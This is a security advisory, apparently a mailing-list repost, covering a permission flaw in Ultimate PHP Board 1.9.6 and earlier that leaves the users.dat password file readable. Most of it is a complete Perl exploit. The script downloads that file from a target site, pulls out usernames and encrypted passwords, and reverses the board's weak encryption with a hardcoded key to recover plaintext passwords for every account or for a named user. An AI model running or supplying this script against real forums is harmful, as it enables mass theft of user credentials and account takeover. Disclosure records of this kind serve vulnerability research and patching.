[EXPL] Ultimate PHP Board Password Hash Decryptor

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  Ultimate PHP Board Password Hash Decryptor
------------------------------------------------------------------------


SUMMARY

" <http://www.myupb.com/ourscripts_upb.php> UPB is a forum/message board 
script. It supports threaded discussion with a comprehensive text database 
system that we wrote here at PHP outburst for the back end."

A flaw in the permission settings of UPB allows arbitrary access to file 
containing password hash, the following exploit can decrypt this password 
hash and retrieve the plain text equivalent of the password.

DETAILS

Vulnerable Systems:
 * Ultimate PHP Board Password Hash Decryptor versions 1.9.6 and prior

Exploit:
#!/usr/bin/perl
#
# Passwords Decrypter for UPB <= 1.9.6
# Discovered and Coded by Alberto Trivero

# Password file is located at: http://www.example.com/upb/db/users.dat   
/str0ke


use Getopt::Std;
use LWP::Simple;
getopt('hfu');

print "\n\t========================================\n";
print "\t= Passwords Decrypter for UPB <= 1.9.6 =\n";
print "\t=          by Alberto Trivero          =\n";
print "\t========================================\n\n";

if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
   print "Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR 
-u [username]]\n\n";
   print "Examples:\nperl $0 -h http://www.example.com/upb/ -f 
results.txt\n";
   print "perl $0 -h http://www.example.com/upb/ -u Alby\n";
   exit(0);
}

$key="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtn".
"eltaomowpkfvmmogbayankrnrhmbduzfmpctxiidweripxw".
"glmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdw".
"upkzvqnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqe".
"bcuiqggccl";

$page=get($opt_h."db/users.dat") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $opt_h\n";
@page=split(/\n/,$page);

if($opt_f) {
   open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";
   print RESULTS "Results for $opt_h\n","="x40,"\n\n";
   for($in=0;$in<@page;$in++) {
      $page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";
      $page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password: 
$1\n";
      &decrypt;
      print RESULTS "Decrypted Password: $crypt\n\n";
      $crypt="";
   }
   close(RESULTS);
   print "[+] Results printed correct in: $opt_f\n";
}

if($opt_u) {
   for($in=0;$in<@page;$in++) {
      if($page[$in]=~m/^$opt_u<~>(.*?)<~>/) {
        print "[+] Username: $opt_u\n";
        print "[+] Crypted Password: $1\n";
         &decrypt;
         print "[+] Decrypted Password: $crypt\n";
         exit(0);
      }
   }
   print "[-] Username '$opt_u' doesn't exist\n";
}

sub decrypt {
   for($i=0;$i<length($1);$i++) {
      $i_key=ord(substr($key, $i, 1));
      $i_text=ord(substr($1, $i, 1));
      $n_key=ord(substr($key, $i+1, 1));
      $i_crypt=$i_text + $n_key;
      $i_crypt-=$i_key;
      $crypt.=chr($i_crypt);
   }
}


ADDITIONAL INFORMATION

The information has been provided by Alberto Trivero.



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